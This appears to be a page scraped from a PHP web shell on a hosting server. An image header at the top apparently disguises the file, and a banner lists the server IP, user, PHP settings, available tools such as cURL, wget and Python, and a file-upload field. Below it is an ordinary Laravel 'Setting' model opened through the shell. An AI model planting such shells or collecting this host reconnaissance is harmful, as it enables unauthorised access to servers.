����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/proc/self/root/home/builderbox/./www/common/Settings/ |
Upload File : |
<?php namespace Common\Settings;
use Carbon\Carbon;
use Eloquent;
use Illuminate\Database\Eloquent\Model;
/**
* Common\Settings\Setting
*
* @property int $id
* @property string $name
* @property string $value
* @property Carbon $created_at
* @property Carbon $updated_at
* @property int $private
* @mixin Eloquent
* @method static \Illuminate\Database\Eloquent\Builder|Setting newModelQuery()
* @method static \Illuminate\Database\Eloquent\Builder|Setting newQuery()
* @method static \Illuminate\Database\Eloquent\Builder|Setting query()
*/
class Setting extends Model {
/**
* @var string
*/
protected $table = 'settings';
protected $fillable = ['name', 'value'];
protected $casts = ['private' => 'integer'];
/**
* Cast setting value to int, if it's a boolean number.
*
* @param string $value
* @return int|string
*/
public function getValueAttribute($value)
{
if ($value === 'false') {
return false;
}
if ($value === 'true') {
return true;
}
if (ctype_digit($value)) {
return (int) $value;
}
return $value;
}
/**
* @param $value
*/
public function setValueAttribute($value)
{
if ($value === true) {
$value = 'true';
} else if ($value === false) {
$value = 'false';
}
$this->attributes['value'] = (string) $value;
}
}